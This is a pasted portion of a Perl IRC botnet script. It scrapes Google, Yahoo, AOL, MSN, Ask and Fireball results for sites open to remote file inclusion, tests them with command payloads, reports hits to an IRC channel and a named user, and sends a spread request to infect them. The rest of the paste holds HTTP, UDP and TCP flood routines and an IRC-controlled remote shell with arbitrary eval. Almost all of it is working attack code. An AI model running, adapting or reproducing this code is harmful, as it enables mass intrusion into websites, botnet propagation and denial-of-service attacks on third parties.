- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 11A13O11L9,1 finished for4,1 $dork");
- }
- ### Print CMD and TEST CMD###
- my $test="http://".$sito.$bug.$id."?";
- my $print="http://".$sito.$bug.$cmd."?";
- ### End of Print CMD and TEST CMD###
- my $req=HTTP::Request->new(GET=>$test);
- my $ua=LWP::UserAgent->new();
- $ua->timeout(5);
- my $response=$ua->request($req);
- if ($response->is_success) {
- my $re=$response->content;
- if($re =~ /Mic22/ && $re =~ /uid=/){
- my $hs=geths($print); $hosts{$hs}++;
- if($hosts{$hs}=="1"){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :1,9[1,9@1,9Vuln1,9] 1,9(1,9SafeMode:1,9OFF1,9) 1,9(1,9Site:12,9 $print 1,9) ");
- sendraw($IRC_cur_socket, "PRIVMSG P1tbull : $print ");
- my $test2="http://".$sito.$bug.$spread."?";
- my $reqz=HTTP::Request->new(GET=>$test2);
- my $ua=LWP::UserAgent->new();
- my $response=$ua->request($reqz);
- }}
- elsif($re =~ /Mic22/)
- {
- my $hs=geths($print); $hosts{$hs}++;
- if($hosts{$hs}=="1"){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :1,4[1,4@1,4Vuln1,4] 1,4(1,4SafeMode:1,4ON1,4) 1,4(1,4Site:12,4 $print 1,4) ");
- my $test2="http://".$sito.$bug.$spread."?";
- my $reqz=HTTP::Request->new(GET=>$test2);
- my $ua=LWP::UserAgent->new();
- my $response=$ua->request($reqz);
- }}
- }}}
- exit;
- }}
- ######################################################################
- #################### Yahoo
- ######################################################################
- if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
- if (my $pid = fork) {
- waitpid($pid, 0);
- } else {
- if (fork) {
- exit;
- } else {
- my $bug=$1;
- my $dork=$2;
- my $contatore=0;
- my %hosts;
- # Starting The Search Engine
- my @ylist=&yahoo($dork);
- my @yalist=&yahooa($dork);
- my @yblist=&yahoob($dork);
- my @yclist=&yahooc($dork);
- my @ydlist=&yahood($dork);
- push(my @yahoobypass, @ylist, @yalist, @yblist, @yclist, @ydlist );
- #
- push(my @tot, @yahoobypass);
- my @puliti=&unici(@tot);
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 11Y13ahoo4!9,1 Total:9,1 ".scalar(@tot)." 4,1Cleaned:9,1 ".scalar(@puliti)." 9,1for 4,1 $dork ");
- my $uni=scalar(@puliti);
- foreach my $sito (@puliti)
- {
- $contatore++;
- if ($contatore %100==0){
- }
- if ($contatore==$uni-1){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 11Y13ahoo4!9,1 finished for4,1 $dork");
- }
- ### Print CMD and TEST CMD###
- my $test="http://".$sito.$bug.$id."?";
- my $print="http://".$sito.$bug.$cmd."?";
- ### End of Print CMD and TEST CMD###
- my $req=HTTP::Request->new(GET=>$test);
- my $ua=LWP::UserAgent->new();
- $ua->timeout(5);
- my $response=$ua->request($req);
- if ($response->is_success) {
- my $re=$response->content;
- if($re =~ /Mic22/ && $re =~ /uid=/){
- my $hs=geths($print); $hosts{$hs}++;
- if($hosts{$hs}=="1"){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :1,9[1,9@1,9Vuln1,9] 1,9(1,9SafeMode:1,9OFF1,9) 1,9(1,9Site:12,9 $print 1,9) ");
- sendraw($IRC_cur_socket, "PRIVMSG P1tbull : $print ");
- my $test2="http://".$sito.$bug.$spread."?";
- my $reqz=HTTP::Request->new(GET=>$test2);
- my $ua=LWP::UserAgent->new();
- my $response=$ua->request($reqz);
- }}
- elsif($re =~ /Mic22/)
- {
- my $hs=geths($print); $hosts{$hs}++;
- if($hosts{$hs}=="1"){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :1,4[1,4@1,4Vuln1,4] 1,4(1,4SafeMode:1,4ON1,4) 1,4(1,4Site:12,4 $print 1,4) ");
- my $test2="http://".$sito.$bug.$spread."?";
- my $reqz=HTTP::Request->new(GET=>$test2);
- my $ua=LWP::UserAgent->new();
- my $response=$ua->request($reqz);
- }}
- }}}
- exit;
- }}
- ######################################################################
- #################### MSN
- ######################################################################
- if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
- if (my $pid = fork) {
- waitpid($pid, 0);
- } else {
- if (fork) {
- exit;
- } else {
- my $bug=$1;
- my $dork=$2;
- my $contatore=0;
- my %hosts;
- # Starting The Search Engine
- my @mlist=&msn($dork);
- push(my @tot, @mlist);
- my @puliti=&unici(@tot);
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 13M11S13N9,1 Total:9,1 ".scalar(@tot)." 4,1Cleaned:9,1 ".scalar(@puliti)." 9,1for 4,1 $dork ");
- my $uni=scalar(@puliti);
- foreach my $sito (@puliti)
- {
- $contatore++;
- if ($contatore %100==0){
- }
- if ($contatore==$uni-1){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 13M11S13N9,1 finished for4,1 $dork");
- }
- ### Print CMD and TEST CMD###
- my $test="http://".$sito.$bug.$id."?";
- my $print="http://".$sito.$bug.$cmd."?";
- ### End of Print CMD and TEST CMD###
- my $req=HTTP::Request->new(GET=>$test);
- my $ua=LWP::UserAgent->new();
- $ua->timeout(5);
- my $response=$ua->request($req);
- if ($response->is_success) {
- my $re=$response->content;
- if($re =~ /Mic22/ && $re =~ /uid=/){
- my $hs=geths($print); $hosts{$hs}++;
- if($hosts{$hs}=="1"){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :1,9[1,9@1,9Vuln1,9] 1,9(1,9SafeMode:1,9OFF1,9) 1,9(1,9Site:12,9 $print 1,9) ");
- sendraw($IRC_cur_socket, "PRIVMSG P1tbull : $print ");
- my $test2="http://".$sito.$bug.$spread."?";
- my $reqz=HTTP::Request->new(GET=>$test2);
- my $ua=LWP::UserAgent->new();
- my $response=$ua->request($reqz);
- }}
- elsif($re =~ /Mic22/)
- {
- my $hs=geths($print); $hosts{$hs}++;
- if($hosts{$hs}=="1"){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :1,4[1,4@1,4Vuln1,4] 1,4(1,4SafeMode:1,4ON1,4) 1,4(1,4Site:12,4 $print 1,4) ");
- my $test2="http://".$sito.$bug.$spread."?";
- my $reqz=HTTP::Request->new(GET=>$test2);
- my $ua=LWP::UserAgent->new();
- my $response=$ua->request($reqz);
- }}
- }}}
- exit;
- }}
- ######################################################################
- #################### ASK
- ######################################################################
- if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
- if (my $pid = fork) {
- waitpid($pid, 0);
- } else {
- if (fork) {
- exit;
- } else {
- my $bug=$1;
- my $dork=$2;
- my $contatore=0;
- my %hosts;
- # Starting The Search Engine
- my @asklist=&ask($dork);
- push(my @tot, @asklist);
- my @puliti=&unici(@tot);
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 13A11S13K9,1 Total:9,1 ".scalar(@tot)." 4,1Cleaned:9,1 ".scalar(@puliti)." 9,1for 4,1 $dork ");
- my $uni=scalar(@puliti);
- foreach my $sito (@puliti)
- {
- $contatore++;
- if ($contatore %100==0){
- }
- if ($contatore==$uni-1){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 13A11S13K9,1 finished for4,1 $dork");
- }
- ### Print CMD and TEST CMD###
- my $test="http://".$sito.$bug.$id."?";
- my $print="http://".$sito.$bug.$cmd."?";
- ### End of Print CMD and TEST CMD###
- my $req=HTTP::Request->new(GET=>$test);
- my $ua=LWP::UserAgent->new();
- $ua->timeout(5);
- my $response=$ua->request($req);
- if ($response->is_success) {
- my $re=$response->content;
- if($re =~ /Mic22/ && $re =~ /uid=/){
- my $hs=geths($print); $hosts{$hs}++;
- if($hosts{$hs}=="1"){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :1,9[1,9@1,9Vuln1,9] 1,9(1,9SafeMode:1,9OFF1,9) 1,9(1,9Site:12,9 $print 1,9) ");
- sendraw($IRC_cur_socket, "PRIVMSG P1tbull : $print ");
- my $test2="http://".$sito.$bug.$spread."?";
- my $reqz=HTTP::Request->new(GET=>$test2);
- my $ua=LWP::UserAgent->new();
- my $response=$ua->request($reqz);
- }}
- elsif($re =~ /Mic22/)
- {
- my $hs=geths($print); $hosts{$hs}++;
- if($hosts{$hs}=="1"){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :1,4[1,4@1,4Vuln1,4] 1,4(1,4SafeMode:1,4ON1,4) 1,4(1,4Site:12,4 $print 1,4) ");
- my $test2="http://".$sito.$bug.$spread."?";
- my $reqz=HTTP::Request->new(GET=>$test2);
- my $ua=LWP::UserAgent->new();
- my $response=$ua->request($reqz);
- }}
- }}}
- exit;
- }}
- ######################################################################
- #################### FireBall
- ######################################################################
- if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
- if (my $pid = fork) {
- waitpid($pid, 0);
- } else {
- if (fork) {
- exit;
- } else {
- my $bug=$1;
- my $dork=$2;
- my $contatore=0;
- my %hosts;
- # Starting The Search Engine
- my @fireball=fireball($dork);
- push(my @tot, @fireball);
- my @puliti=&unici(@tot);
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 13F11ire13B11all9,1 Total:9,1 ".scalar(@tot)." 4,1Cleaned:9,1 ".scalar(@puliti)." 9,1for 4,1 $dork ");
- my $uni=scalar(@puliti);
- foreach my $sito (@puliti)
- {
- $contatore++;
- if ($contatore %100==0){
- }
- if ($contatore==$uni-1){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 13F11ire13B11all9,1 finished for4,1 $dork");
- }
- ### Print CMD and TEST CMD###
- my $test="http://".$sito.$bug.$id."?";
- my $print="http://".$sito.$bug.$cmd."?";
- ### End of Print CMD and TEST CMD###
- my $req=HTTP::Request->new(GET=>$test);
- my $ua=LWP::UserAgent->new();
- $ua->timeout(5);
- my $response=$ua->request($req);
- if ($response->is_success) {
- my $re=$response->content;
- if($re =~ /Mic22/ && $re =~ /uid=/){
- my $hs=geths($print); $hosts{$hs}++;
- if($hosts{$hs}=="1"){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :1,9[1,9@1,9Vuln1,9] 1,9(1,9SafeMode:1,9OFF1,9) 1,9(1,9Site:12,9 $print 1,9) ");
- sendraw($IRC_cur_socket, "PRIVMSG P1tbull : $print ");
- my $test2="http://".$sito.$bug.$spread."?";
- my $reqz=HTTP::Request->new(GET=>$test2);
- my $ua=LWP::UserAgent->new();
- my $response=$ua->request($reqz);
- }}
- elsif($re =~ /Mic22/)
- {
- my $hs=geths($print); $hosts{$hs}++;
- if($hosts{$hs}=="1"){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :1,4[1,4@1,4Vuln1,4] 1,4(1,4SafeMode:1,4ON1,4) 1,4(1,4Site:12,4 $print 1,4) ");
- my $test2="http://".$sito.$bug.$spread."?";
- my $reqz=HTTP::Request->new(GET=>$test2);
- my $ua=LWP::UserAgent->new();
- my $response=$ua->request($reqz);
- }}
- }}}
- exit;
- }}
- ######################
- #End of EXTREMESCANNER#
- # #
- ######################
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- # % Hacke Pwned your BoX %
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- ######################
- # HTTPFlood #
- # #
- ######################
- if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1HTTP-DDOS9,1] Attacking 4,1 ".$1." 9,1 on port 80 for 4,1".$2." 4,1 seconds .");
- my $itime = time;
- my ($cur_time);
- $cur_time = time - $itime;
- while ($2>$cur_time){
- $cur_time = time - $itime;
- my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
- print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
- close($socket);
- }
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1HTTP-DDOS9,1] Attacking done 4,1 ".$1.".");
- }
- ######################
- # End of HTTPFlood #
- # #
- ######################
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- # % Hacke Pwned your BoX %
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- ######################
- # UDPFlood #
- # #
- ######################
- if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1UDP-DDOS9,1] Attacking 4,1 ".$1." 9,1 with 4,1 ".$2." 9,1 Kb Packets for 4,1 ".$3." 4,1 seconds.");
- my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
- $dtime = 1 if $dtime == 0;
- my %bytes;
- $bytes{igmp} = $2 * $pacotes{igmp};
- $bytes{icmp} = $2 * $pacotes{icmp};
- $bytes{o} = $2 * $pacotes{o};
- $bytes{udp} = $2 * $pacotes{udp};
- $bytes{tcp} = $2 * $pacotes{tcp};
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1UDP-DDOS9,1] 9,1Results4,1 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 9,1Kb in4,1 ".$dtime." 9,1seconds to4,1 ".$1.".");
- }
- exit;
- }
- }
- ######################
- # End of Udpflood #
- # #
- ######################
- sub ircase {
- my ($kem, $printl, $case) = @_;
- if ($case =~ /^join (.*)/) {
- j("$1");
- }
- if ($case =~ /^part (.*)/) {
- p("$1");
- }
- if ($case =~ /^rejoin\s+(.*)/) {
- my $chan = $1;
- if ($chan =~ /^(\d+) (.*)/) {
- for (my $ca = 1; $ca <= $1; $ca++ ) {
- p("$2");
- j("$2");
- }
- }
- else {
- p("$chan");
- j("$chan");
- }
- }
- if ($case =~ /^op/) {
- op("$printl", "$kem") if $case eq "op";
- my $oarg = substr($case, 3);
- op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
- }
- if ($case =~ /^deop/) {
- deop("$printl", "$kem") if $case eq "deop";
- my $oarg = substr($case, 5);
- deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
- }
- if ($case =~ /^msg\s+(\S+) (.*)/) {
- msg("$1", "$2");
- }
- if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
- for (my $cf = 1; $cf <= $1; $cf++) {
- msg("$2", "$3");
- }
- }
- if ($case =~ /^ctcp\s+(\S+) (.*)/) {
- ctcp("$1", "$2");
- }
- if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
- for (my $cf = 1; $cf <= $1; $cf++) {
- ctcp("$2", "$3");
- }
- }
- if ($case =~ /^nick (.*)/) {
- nick("$1");
- }
- if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
- conectar("$2", "$1", 6667);
- }
- if ($case =~ /^raw (.*)/) {
- sendraw("$1");
- }
- if ($case =~ /^eval (.*)/) {
- eval "$1";
- }
- }
- sub shell {
- my $printl=$_[0];
- my $comando=$_[1];
- if ($comando =~ /cd (.*)/) {
- chdir("$1") || msg("$printl", "No such file or directory");
- return;
- }
- elsif ($pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) {
- exit;
- } else {
- my @resp=`$comando 2>&1 3>&1`;
- my $c=0;
- foreach my $linha (@resp) {
- $c++;
- chop $linha;
- sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
- if ($c == "$linas_max") {
- $c=0;
- sleep $sleep;
- }
- }
- exit;
- }
- }
- }
- sub tcpflooder {
- my $itime = time;
- my ($cur_time);
- my ($ia,$pa,$proto,$j,$l,$t);
- $ia=inet_aton($_[0]);
- $pa=sockaddr_in($_[1],$ia);
- $ftime=$_[2];
- $proto=getprotobyname('tcp');
- $j=0;$l=0;
- $cur_time = time - $itime;
- while ($l<1000){
- $cur_time = time - $itime;
- last if $cur_time >= $ftime;
- $t="SOCK$l";
- socket($t,PF_INET,SOCK_STREAM,$proto);
- connect($t,$pa)||$j--;
- $j++;$l++;
- }
- $l=0;
- while ($l<1000){
- $cur_time = time - $itime;
- last if $cur_time >= $ftime;
- $t="SOCK$l";
- shutdown($t,2);
- $l++;
- }
- }
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- # % Hacke Pwned your BoX %
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- sub udpflooder {
- my $iaddr = inet_aton($_[0]);
- my $msg = 'A' x $_[1];
- my $ftime = $_[2];
- my $cp = 0;
- my (%pacotes);
- $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
- socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
- socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
- socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
- socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
- return(undef) if $cp == 4;
- my $itime = time;
- my ($cur_time);
- while ( 1 ) {
- for (my $porta = 1;
- $porta <= 65000; $porta++) {
- $cur_time = time - $itime;
- last if $cur_time >= $ftime;
- send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
- send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
- send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
- send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
- for (my $pc = 3;
- $pc <= 255;$pc++) {
- next if $pc == 6;
- $cur_time = time - $itime;
- last if $cur_time >= $ftime;
- socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
- send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
- }
- }
- last if $cur_time >= $ftime;
- }
- return($cur_time, %pacotes);
- }
- sub ctcp {
- return unless $#_ == 1;
- sendraw("PRIVMSG $_[0] :\001$_[1]\001");
- }
- sub msg {
- return unless $#_ == 1;
- sendraw("PRIVMSG $_[0] :$_[1]");
- }
- sub notice {
- return unless $#_ == 1;
- sendraw("NOTICE $_[0] :$_[1]");
- }
- sub op {
- return unless $#_ == 1;
- sendraw("MODE $_[0] +o $_[1]");
- }
- sub deop {
- return unless $#_ == 1;
- sendraw("MODE $_[0] -o $_[1]");
- }
- sub j {
- &join(@_);
- }
- sub join {
- return unless $#_ == 0;
- sendraw("JOIN $_[0]");
- }
- sub p { part(@_);
- }
- sub part {
- sendraw("PART $_[0]");
- }
- sub nick {
- return unless $#_ == 0;
- sendraw("NICK $_[0]");
- }
- sub quit {
- sendraw("QUIT :$_[0]");
- }
- #####
- # SUBS GOOGLE
- #####
- sub googlet {
- my @dominios = ("ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk");
- my @country = ("AE","AR","AT","AU","BE","BR","CA","CH","CL","DE","DK");
- my @lang = ("en","es","de","nl","pt-BR","it","de","fo","sv","fr","el");
- my @lst;
- my $key=key($_[0]);
- my $c=0;
- foreach my $i (@dominios){
- my @lista = google($i,$key,$lang[$c],$country[$c]);
- push(@lst,@lista);
- $c++;
- }
- return @lst;
- }
- sub google(){
- my @lst;
- my $i=$_[0];
- my $key=$_[1];
- my $lang= $_[2];
- my $country =$_[3];
- for($b=0;$b<=5000;$b+=100){
- my $Go=("www.google.".$i."/search?hl=".$lang."&q=".key($key)."&num=100&start=".$b."&meta=cr%3Dcountry".$country);
- my $Res=query($Go);
- while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
- if ($1 !~ /google/){
- my $k=$1;
- my @grep=links($k);
- push(@lst,@grep);
- }}}
- return @lst;
- }
- #####
- # SUBS AllTheWeb
- #####
- sub allthewebt {
- my @lang = ("en","es","de","nl","pt-BR","it","de","fo");
- my @lst;
- my $key=key($_[0]);
- my $c=0;
- foreach my $lang (@lang){
- my @lista = alltheweb($key,$lang[$c]);
- push(@lst,@lista);
- $c++;
- }
- return @lst;
- }
- sub alltheweb(){
- my @lista;
- my $key = $_[0];
- my $lang= $_[1];
- for($b=0;$b<=500;$b+=100){
- my $alltheweb=("http://www.alltheweb.com/search?cat=web&_sb_lang=".$lang."&hits=100&q=".key($key)."&o=".$b);
- my $Res=query($alltheweb);
- while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
- my $k=$1;
- $k=~s/ //g;
- my @grep=links($k);
- push(@lst,@grep);
- }}
- return @lst;
- }
- sub standard()
- {
- my @lst;
- my $key=$_[0];
- my $i=0;
- my $pg=0;
- for($i=0; $i<=1000; $i+=100)
- {
- my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
- my $Res=query($all);
- while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
- my $k=$1;
- $k=~s/ //g;
- my @grep=links($k);
- push(@lst,@grep);
- }}
- return @lst;
- }
- #####
- # SUBS AOL
- #####
- sub aol(){
- my @lst;
- my $key = $_[0];
- for($b=1;$b<=100;$b++){
- my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
- my $Res=query($AoL);
- while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
- my $k=$1;
- my @grep=links($k);
- push(@lst,@grep);
- }}
- return @lst;
- }
- sub aola(){
- my @lst;
- my $key = $_[0];
- for($b=1;$b<=59;$b+=1){
- my $AoL=("http://64.12.129.44/aol/search?query=".key($key)."&page=".$b."&count_override=20&lr=lang_en");
- my $Res=query($AoL);
- while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
- my $k=$1;
- my @grep=links($k);
- push(@lst,@grep);
- }}
- return @lst;
- }
- sub aolb(){
- my @lst;
- my $key = $_[0];
- for($b=1;$b<=59;$b+=1){
- my $AoL=("http://64.12.129.44/aol/search?query=".key($key)."&page=".$b."&count_override=20&lr=lang_de");
- my $Res=query($AoL);
- while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
- my $k=$1;
- my @grep=links($k);
- push(@lst,@grep);
- }}
- return @lst;
- }
- sub aolc(){
- my @lst;
- my $key = $_[0];
- for($b=1;$b<=59;$b+=1){
- my $AoL=("http://64.12.129.44/aol/search?query=".key($key)."&page=".$b."&count_override=20&lr=lang_fr");
- my $Res=query($AoL);
- while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
- my $k=$1;
- my @grep=links($k);
- push(@lst,@grep);
- }}
- return @lst;
- }
- #####
- # SUBS Yahoo
- #####
- sub yahoo(){
- my @lst;
- my $key = $_[0];
- for($b=1;$b<=1000;$b+=100){
- my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
- my $Res=query($Ya);
- while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
- my $k=$1;
- $k=~s/<b>//g;
- $k=~s/<\/b>//g;
- $k=~s/<wbr>//g;
- my @grep=links($k);
- push(@lst,@grep);
- }}
- return @lst;
- }
- sub yahooa(){
- my @lst;
- my $key = $_[0];
- for($b=210;$b<=1000;$b+=210){
- my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
- my $Res=query($Ya);
- while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
- my $k=$1;
- $k=~s/<b>//g;
- $k=~s/<\/b>//g;
- $k=~s/<wbr>//g;
- my @grep=links($k);
- push(@lst,@grep);
- }}
- return @lst;
- }
- sub yahoob(){
- my @lst;
- my $key = $_[0];
- for($b=410;$b<=1000;$b+=210){
- my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
- my $Res=query($Ya);
- while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
- my $k=$1;
- $k=~s/<b>//g;
- $k=~s/<\/b>//g;
- $k=~s/<wbr>//g;
- my @grep=links($k);
- push(@lst,@grep);
- }}
- return @lst;
- }
- sub yahooc(){
- my @lst;
- my $key = $_[0];
- for($b=610;$b<=1000;$b+=210){
- my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
- my $Res=query($Ya);
- while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
- my $k=$1;
- $k=~s/<b>//g;
- $k=~s/<\/b>//g;
- $k=~s/<wbr>//g;
- my @grep=links($k);
- push(@lst,@grep);
- }}
- return @lst;
- }
- sub yahood(){
- my @lst;
- my $key = $_[0];
- for($b=810;$b<=1000;$b+=210){
- my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
- my $Res=query($Ya);
- while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
- my $k=$1;
- $k=~s/<b>//g;
- $k=~s/<\/b>//g;
- $k=~s/<wbr>//g;
- my @grep=links($k);
- push(@lst,@grep);
- }}
- return @lst;
- }
- #####
- # SUBS MSN
- #####
- sub msn(){
- my @lst;
- my $key = $_[0];
- for($b=1;$b<=1000;$b+=10){
- my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE");
- my $Res=query($MsN);
- while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
- if($1 !~ /msn|live/){
- my $k=$1;
- my @grep=links($k);
- push(@lst,@grep);
- }}}
- return @lst;
- }
- #####
- # SUBS ASK
- #####
- sub ask(){
- my @lst;
- my $key=$_[0];
- my $i=0;
- my $pg=0;
- for($i=0; $i<=1000; $i+=10)
- {
- my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
- my $Res=query($Ask);
- while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
- my $k=$3;
- $k=~s/[\"\ ]//g;
- my @grep=links($k);
- push(@lst,@grep);
- }}
- return @lst;
- }
- #####
- # SUBS FireBall
- #####
- sub fireball(){
- my $key=$_[0];
- my $inizio=1;
- my $pagine=200;
- my @lst;
- my $av=0;
- while($inizio <= $pagine){
- my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8";
- my $Res=query($fireball);
- while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){
- if ($1 !~ /msn|live|google|yahoo/){
- my $k="$1/";
- my @grep=links($k);
- push(@lst,@grep);
- }}
- $av=$av+10;
- $inizio++;
- }
- return @lst;
- }
- sub links()
- {
- my @l;
- my $link=$_[0];
- my $host=$_[0];
- my $hdir=$_[0];
- $hdir=~s/(.*)\/[^\/]*$/\1/;
- $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $host.="/";
- $link.="/";
- $hdir.="/";
- $host=~s/\/\//\//g;
- $hdir=~s/\/\//\//g;
- $link=~s/\/\//\//g;
- push(@l,$link,$host,$hdir);
- return @l;
- }
- sub geths(){
- my $host=$_[0];
- $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- return $host;
- }
- sub key(){
- my $chiave=$_[0];
- $chiave =~ s/ /\+/g;
- $chiave =~ s/:/\%3A/g;
- $chiave =~ s/\//\%2F/g;
- $chiave =~ s/&/\%26/g;
- $chiave =~ s/\"/\%22/g;
- $chiave =~ s/,/\%2C/g;
- $chiave =~ s/\\/\%5C/g;
- return $chiave;
- }
- sub query($){
- my $url=$_[0];
- $url=~s/http:\/\///;
- my $host=$url;
- my $query=$url;
- my $page="";
- $host=~s/href=\"?http:\/\///;
- $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $query=~s/$host//;
- if ($query eq "") {$query="/";};
- eval {
- my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
- print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
- my @r = <$sock>;
- $page="@r";
- close($sock);
- };
- return $page;
- }
- sub unici{
- my @unici = ();
- my %visti = ();
- foreach my $elemento ( @_ )
- {
- next if $visti{ $elemento }++;
- push @unici, $elemento;
- }
- return @unici;
- }
- sub http_query($){
- my ($url) = @_;
- my $host=$url;
- my $query=$url;
- my $page="";
- $host =~ s/href=\"?http:\/\///;
- $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $query =~s/$host//;
- if ($query eq "") {$query="/";};
- eval {
- local $SIG{ALRM} = sub { die "1";};
- alarm 10;
- my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
- print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
- my @r = <$sock>;
- $page="@r";
- alarm 0;
- close($sock);
- };
- return $page;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement